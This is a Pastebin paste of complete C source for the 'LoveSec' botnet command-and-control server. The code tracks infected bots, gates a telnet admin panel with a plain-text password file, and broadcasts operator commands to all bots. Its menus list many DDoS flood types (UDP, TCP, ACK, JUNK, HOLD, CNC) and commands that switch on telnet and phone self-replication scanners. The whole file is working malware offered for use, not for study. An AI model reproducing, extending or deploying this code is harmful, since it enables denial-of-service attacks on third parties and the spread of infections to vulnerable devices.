killattk

LoveSec ServerSide

Jun 13th, 2018
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.08 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16. #define RED "\x1b[0;31m"
  17. #define GREEN "\x1b[0;32m"
  18. #define C_RESET "\x1b[0m"
  19.  
  20. struct account {
  21. char id[20];
  22. char password[20];
  23. };
  24. static struct account accounts[25];
  25.  
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char build[7];
  29. char connected;
  30. } clients[MAXFDS];
  31.  
  32. struct telnetdata_t {
  33. uint32_t ip;
  34. int connected;
  35. } managements[MAXFDS];
  36.  
  37. ////////////////////////////////////
  38.  
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int managesConnected = 0;
  43. static volatile int DUPESDELETED = 0;
  44.  
  45. ////////////////////////////////////
  46.  
  47.  
  48. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  49. {
  50. int total = 0, got = 1;
  51. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  52. return got;
  53. }
  54. void trim(char *str)
  55. {
  56. int i;
  57. int begin = 0;
  58. int end = strlen(str) - 1;
  59. while (isspace(str[begin])) begin++;
  60. while ((end >= begin) && isspace(str[end])) end--;
  61. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62. str[i - begin] = '\0';
  63. }
  64.  
  65.  
  66. static int make_socket_non_blocking (int sfd)
  67. {
  68. int flags, s;
  69. flags = fcntl (sfd, F_GETFL, 0);
  70. if (flags == -1)
  71. {
  72. perror ("fcntl");
  73. return -1;
  74. }
  75. flags |= O_NONBLOCK;
  76. s = fcntl (sfd, F_SETFL, flags);
  77. if (s == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88. struct addrinfo hints;
  89. struct addrinfo *result, *rp;
  90. int s, sfd;
  91. memset (&hints, 0, sizeof (struct addrinfo));
  92. hints.ai_family = AF_UNSPEC;
  93. hints.ai_socktype = SOCK_STREAM;
  94. hints.ai_flags = AI_PASSIVE;
  95. s = getaddrinfo (NULL, port, &hints, &result);
  96. if (s != 0)
  97. {
  98. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99. return -1;
  100. }
  101. for (rp = result; rp != NULL; rp = rp->ai_next)
  102. {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0)
  109. {
  110. break;
  111. }
  112. close (sfd);
  113. }
  114. if (rp == NULL)
  115. {
  116. fprintf (stderr, "Could not bind\n");
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  140. if(sendMGM && managements[i].connected)
  141. {
  142. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  143. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144. send(i, " ", 1, MSG_NOSIGNAL);
  145. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  146. send(i, ": ", 2, MSG_NOSIGNAL);
  147. }
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0m~\x1b[0;31m$ \x1b[0m", 13, MSG_NOSIGNAL);
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154.  
  155. void *epollEventLoop(void *useless)
  156. {
  157. struct epoll_event event;
  158. struct epoll_event *events;
  159. int s;
  160. events = calloc (MAXFDS, sizeof event);
  161. while (1)
  162. {
  163. int n, i;
  164. n = epoll_wait (epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++)
  166. {
  167. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168. {
  169. clients[events[i].data.fd].connected = 0;
  170. close(events[i].data.fd);
  171. continue;
  172. }
  173. else if (listenFD == events[i].data.fd)
  174. {
  175. while (1)
  176. {
  177. struct sockaddr in_addr;
  178. socklen_t in_len;
  179. int infd, ipIndex;
  180.  
  181. in_len = sizeof in_addr;
  182. infd = accept (listenFD, &in_addr, &in_len);
  183. if (infd == -1)
  184. {
  185. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  186. else
  187. {
  188. perror ("accept");
  189. break;
  190. }
  191. }
  192.  
  193. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.  
  195. int dup = 0;
  196. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  197. {
  198. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  199.  
  200. if(clients[ipIndex].ip == clients[infd].ip)
  201. {
  202. dup = 1;
  203. break;
  204. }
  205. }
  206.  
  207. if(dup)
  208. {
  209. DUPESDELETED++;
  210. continue;
  211. }
  212.  
  213. s = make_socket_non_blocking (infd);
  214. if (s == -1) { close(infd); break; }
  215.  
  216. event.data.fd = infd;
  217. event.events = EPOLLIN | EPOLLET;
  218. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  219. if (s == -1)
  220. {
  221. perror ("epoll_ctl");
  222. close(infd);
  223. break;
  224. }
  225.  
  226. clients[infd].connected = 1;
  227. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  228.  
  229. }
  230. continue;
  231. }
  232. else
  233. {
  234. int thefd = events[i].data.fd;
  235. struct clientdata_t *client = &(clients[thefd]);
  236. int done = 0;
  237. client->connected = 1;
  238. while (1)
  239. {
  240. ssize_t count;
  241. char buf[2048];
  242. memset(buf, 0, sizeof buf);
  243.  
  244. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  245. {
  246. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  247. trim(buf);
  248. if(strcmp(buf, "PING") == 0) {
  249. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  250. continue; }
  251. if(strcmp(buf, "PONG") == 0) {
  252. continue; }
  253. printf("buf: \"%s\"\n", buf); }
  254.  
  255. if (count == -1)
  256. {
  257. if (errno != EAGAIN)
  258. {
  259. done = 1;
  260. }
  261. break;
  262. }
  263. else if (count == 0)
  264. {
  265. done = 1;
  266. break;
  267. }
  268. }
  269.  
  270. if (done)
  271. {
  272. client->connected = 0;
  273. close(thefd);
  274. }
  275. }
  276. }
  277. }
  278. }
  279.  
  280. unsigned int clientsConnected()
  281. {
  282. int i = 0, total = 0;
  283. for(i = 0; i < MAXFDS; i++)
  284. {
  285. if(!clients[i].connected) continue;
  286. total++;
  287. }
  288.  
  289. return total;
  290. }
  291.  
  292. void *titleWriter(void *sock)
  293. {
  294. int thefd = (int)sock;
  295. char string[2048];
  296. while(1)
  297. {
  298. memset(string, 0, 2048);
  299. sprintf(string, "%c]0; LoveSec ~ Bots: %d ~ Admins: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  300. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  301.  
  302. sleep(2);
  303. }
  304. }
  305.  
  306. int Search_in_File(char *str)
  307. {
  308. FILE *fp;
  309. int line_num = 0;
  310. int find_result = 0, find_line=0;
  311. char temp[512];
  312.  
  313. if((fp = fopen("love.txt", "r")) == NULL){
  314. return(-1);
  315. }
  316. while(fgets(temp, 512, fp) != NULL){
  317. if((strstr(temp, str)) != NULL){
  318. find_result++;
  319. find_line = line_num;
  320. }
  321. line_num++;
  322. }
  323. if(fp)
  324. fclose(fp);
  325.  
  326. if(find_result == 0)return 0;
  327.  
  328. return find_line;
  329. }
  330. void client_addr(struct sockaddr_in addr){
  331. printf("IP:%d.%d.%d.%d\n",
  332. addr.sin_addr.s_addr & 0xFF,
  333. (addr.sin_addr.s_addr & 0xFF00)>>8,
  334. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  335. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  336. FILE *logFile;
  337. logFile = fopen("server.log", "a");
  338. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  339. addr.sin_addr.s_addr & 0xFF,
  340. (addr.sin_addr.s_addr & 0xFF00)>>8,
  341. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  342. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  343. fclose(logFile);
  344. }
  345.  
  346. void *telnetWorker(void *sock) {
  347. int thefd = (int)sock;
  348. managesConnected++;
  349. int find_line;
  350. pthread_t title;
  351. char counter[2048];
  352. memset(counter, 0, 2048);
  353. char buf[2048];
  354. char* nickstring;
  355. char usernamez[80];
  356. char* password;
  357. char* admin;
  358. memset(buf, 0, sizeof buf);
  359. char botnet[2048];
  360. memset(botnet, 0, 2048);
  361.  
  362. FILE *fp;
  363. int i=0;
  364. int c;
  365. fp=fopen("love.txt", "r"); // format: user pass
  366. while(!feof(fp))
  367. {
  368. c=fgetc(fp);
  369. ++i;
  370. }
  371. int j=0;
  372. rewind(fp);
  373. while(j!=i-1)
  374. {
  375. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  376. ++j;
  377. }
  378. sprintf(botnet, "\x1b[1;37mpодившиеся боги объединены\r\n");
  379. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  380. sprintf(botnet, "\033[34;1mпользователь\033[33;3m: \e[0;30m");
  381. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  382. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  383. trim(buf);
  384. sprintf(usernamez, buf);
  385. nickstring = ("%s", buf);
  386. find_line = Search_in_File(nickstring);
  387.  
  388. if(strcmp(nickstring, accounts[find_line].id) == 0){
  389. sprintf(botnet, "\033[34;1mпароль\033[33;3m: \e[0;30m");
  390. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  391. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  392. trim(buf);
  393. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  394. memset(buf, 0, 2048);
  395. goto fak;
  396. }
  397. failed:
  398. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  399. goto end;
  400. fak:
  401.  
  402. pthread_create(&title, NULL, &titleWriter, sock);
  403. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  405. char ascii_banner_line20 [5000];
  406. char ascii_banner_line21 [5000];
  407. char ascii_banner_line22 [5000];
  408. char line23[80];
  409. sprintf(ascii_banner_line20, "\x1b[0;31m ╦ ╔═╗╦ ╦╔═╗╔═╗╔═╗╔═╗\r\n");
  410. sprintf(ascii_banner_line21, "\x1b[0;31m ║ ║ ║╚╗╔╝║╣ ╚═╗║╣ ║ \r\n");
  411. sprintf(ascii_banner_line22, "\x1b[0m ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
  412. sprintf(line23, " "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n\r\n"C_RESET"~"RED"$ "C_RESET"");
  413. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  416. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  417. if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  418. pthread_create(&title, NULL, &titleWriter, sock);
  419. managements[thefd].connected = 1;
  420. while(fdgets(buf, sizeof buf, thefd) > 0)
  421. {
  422. if(strstr(buf, "BOTS"))
  423. {
  424. sprintf(botnet, "Hearts Connected: "RED"[%d]"C_RESET"\r\nLovers connected: "RED"[%d]"C_RESET"\r\nDupes Deleted:"RED" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  425. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  426. }
  427.  
  428. if(strstr(buf, "HELP")) {
  429. pthread_create(&title, NULL, &titleWriter, sock);
  430. char helpline1 [80];
  431. char helpline2 [80];
  432. char helpline4 [80];
  433.  
  434. sprintf(helpline1, "\x1b[0;37mChoose an option from \x1b[0;31mBelow:\r\n");
  435. sprintf(helpline2, "\x1b[0;37m[\x1b[0;31mDDOS\x1b[0;37m] ~ DDOS Commands\r\n");
  436. sprintf(helpline4, "\x1b[0;37m[\x1b[0;31mSELFREP\x1b[0;37m] ~ DONT FUCKING TOUCH THIS SHIT\r\n");;
  437.  
  438. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  441. pthread_create(&title, NULL, &titleWriter, sock);
  442. while(1) {
  443. if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  444. break;
  445. }
  446. continue;
  447. }
  448. if(strstr(buf, "DDOS")) {
  449. pthread_create(&title, NULL, &titleWriter, sock);
  450. char ddosline1 [80];
  451. char ddosline2 [80];
  452. char ddosline3 [80];
  453. char ddosline4 [80];
  454. char ddosline5 [80];
  455. char ddosline6 [80];
  456. char ddosline7 [80];
  457. char ddosline8 [80];
  458. char ddosline9 [80];
  459. char ddosline32 [80];
  460. char ddosline11 [80];
  461. char ddosline12 [80];
  462.  
  463. sprintf(ddosline1, "\x1b[0;31m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  464. sprintf(ddosline2, "\x1b[0;37m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  465. sprintf(ddosline3, "\x1b[0;31m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  466. sprintf(ddosline4, "\x1b[0;37m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
  467. sprintf(ddosline5, "\x1b[0;31m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  468. sprintf(ddosline6, "\x1b[0;37m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  469. sprintf(ddosline7, "\x1b[0;31m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
  470. sprintf(ddosline8, "\x1b[0;37m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
  471. sprintf(ddosline9, "\x1b[0;31m !* UKN [IP] [PORT] [TIME] | UNK FLOOD\r\n");
  472. sprintf(ddosline32, "\x1b[0;37m !* CNC [IP] [ADMIN-PORT] [TIME] | CNC FLOOD\r\n");
  473. sprintf(ddosline11, "\x1b[0;31m !* UKN [IP] [TIME] [PORT] | RAW STD FLOOD\r\n");
  474. sprintf(ddosline12, "\x1b[0;37m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  475.  
  476. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(thefd, ddosline32, strlen(ddosline32), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(thefd, ddosline11, strlen(ddosline11), MSG_NOSIGNAL) == -1) goto end;
  487. if(send(thefd, ddosline12, strlen(ddosline12), MSG_NOSIGNAL) == -1) goto end;
  488. pthread_create(&title, NULL, &titleWriter, sock);
  489. while(1) {
  490. if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  491. break;
  492. }
  493. continue;
  494. }
  495. if(strstr(buf, "SELFREP")) {
  496. pthread_create(&title, NULL, &titleWriter, sock);
  497. char repline1 [80];
  498. char repline2 [80];
  499. char repline3 [80];
  500. char repline4 [80];
  501. char repline5 [80];
  502. char repline6 [80];
  503.  
  504. sprintf(repline1, "\x1b[0;31m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
  505. sprintf(repline2, "\x1b[0;37m !* SCANNER ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
  506. sprintf(repline3, "\x1b[0;31m !* PHONE OFF | TURNS OFF PHONE SELF REPLIFICATION\r\n");
  507. sprintf(repline4, "\x1b[0;37m !* SCANNER OFF | TURNS OFF TELNET SELF REPLIFICATION\r\n");
  508. sprintf(repline5, "\x1b[0;31m !* wget.py | SCANS sithbots.txt PYTHON LIST\r\n");
  509. sprintf(repline6, "\x1b[0;37m !* PYTHON OFF | TURNS OFF PYTHON SCANNER\r\n");
  510.  
  511. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  512. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  513. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  514. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  515. if(send(thefd, repline5, strlen(repline5), MSG_NOSIGNAL) == -1) goto end;
  516. if(send(thefd, repline6, strlen(repline6), MSG_NOSIGNAL) == -1) goto end;
  517. pthread_create(&title, NULL, &titleWriter, sock);
  518. while(1) {
  519. if(send(thefd, "\x1b[0;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  520. break;
  521. }
  522. continue;
  523. }
  524. if (strstr(buf, "CLEAR"))
  525. {
  526. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  527. sprintf(ascii_banner_line20, "\x1b[0;31m ╦ ╔═╗╦ ╦╔═╗╔═╗╔═╗╔═╗\r\n");
  528. sprintf(ascii_banner_line21, "\x1b[0;31m ║ ║ ║╚╗╔╝║╣ ╚═╗║╣ ║ \r\n");
  529. sprintf(ascii_banner_line22, "\x1b[0m ╩═╝╚═╝ ╚╝ ╚═╝╚═╝╚═╝╚═╝\r\n");
  530. sprintf(line23, " "C_RESET"***"RED" Welcome To The LoveSec"C_RESET" ***\r\n ");
  531. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  532. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  533. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  534. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  535. if(send(thefd, line23, strlen(line23), MSG_NOSIGNAL) == -1) goto end;
  536. }
  537. if (strstr(buf, "!* EXIT"))
  538. {
  539. goto end;
  540. }
  541. trim(buf);
  542. sprintf(botnet, "\x1b[0m~\x1b[0;31m$ \x1b[0m");
  543. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  544. if(strlen(buf) == 0) continue;
  545. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  546. FILE *logFile;
  547. logFile = fopen("server.log", "a");
  548. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  549. fclose(logFile);
  550. broadcast(buf, thefd, usernamez);
  551. memset(buf, 0, 2048);
  552. }
  553.  
  554. end: // cleanup dead socket
  555. managements[thefd].connected = 0;
  556. close(thefd);
  557. managesConnected--;
  558. }
  559.  
  560. void *telnetListener(int port)
  561. {
  562. int sockfd, newsockfd;
  563. socklen_t clilen;
  564. struct sockaddr_in serv_addr, cli_addr;
  565. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  566. if (sockfd < 0) perror("ERROR opening socket");
  567. bzero((char *) &serv_addr, sizeof(serv_addr));
  568. serv_addr.sin_family = AF_INET;
  569. serv_addr.sin_addr.s_addr = INADDR_ANY;
  570. serv_addr.sin_port = htons(port);
  571. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  572. listen(sockfd,5);
  573. clilen = sizeof(cli_addr);
  574. while(1)
  575.  
  576. { printf("Security Breach From: ");
  577. client_addr(cli_addr);
  578. FILE *logFile;
  579. logFile = fopen("IP.log", "a");
  580. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  581. fclose(logFile);
  582. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  583. if (newsockfd < 0) perror("ERROR on accept");
  584. pthread_t thread;
  585. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  586. }
  587. }
  588.  
  589. int main (int argc, char *argv[], void *sock)
  590. {
  591. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  592.  
  593. int s, threads, port;
  594. struct epoll_event event;
  595. if (argc != 4)
  596. {
  597. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  598. exit (EXIT_FAILURE);
  599. }
  600. port = atoi(argv[3]);
  601. threads = atoi(argv[2]);
  602. if (threads > 850)
  603. {
  604. printf("Are You Dumb? Lower the Threads\n");
  605. return 0;
  606. }
  607. else if (threads < 850)
  608. {
  609. printf("Good Choice in Threading\n");
  610. }
  611. printf(RED "\x1b[0;31mTHIS SHIT PRIVATE,\x1b[1;37m DO NOT FUCKING LEAK, \x1b[1;37mLoveSec \x1b[1;37mBOTNET \x1b[1;36mSCREENED\x1b[0m\n");
  612. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  613. if (listenFD == -1) abort();
  614.  
  615. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  616. if (s == -1) abort();
  617.  
  618. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  619. if (s == -1)
  620. {
  621. perror ("listen");
  622. abort ();
  623. }
  624.  
  625. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  626. if (epollFD == -1)
  627. {
  628. perror ("epoll_create");
  629. abort ();
  630. }
  631.  
  632. event.data.fd = listenFD;
  633. event.events = EPOLLIN | EPOLLET;
  634. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  635. if (s == -1)
  636. {
  637. perror ("epoll_ctl");
  638. abort ();
  639. }
  640.  
  641. pthread_t thread[threads + 2];
  642. while(threads--)
  643. {
  644. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  645. }
  646.  
  647. pthread_create(&thread[0], NULL, &telnetListener, port);
  648.  
  649. while(1)
  650. {
  651. broadcast("PING", -1, "STRING");
  652. sleep(60);
  653. }
  654.  
  655. close (listenFD);
  656.  
  657. return EXIT_SUCCESS;
  658. }
Advertisement
Add Comment
Please, Sign In to add comment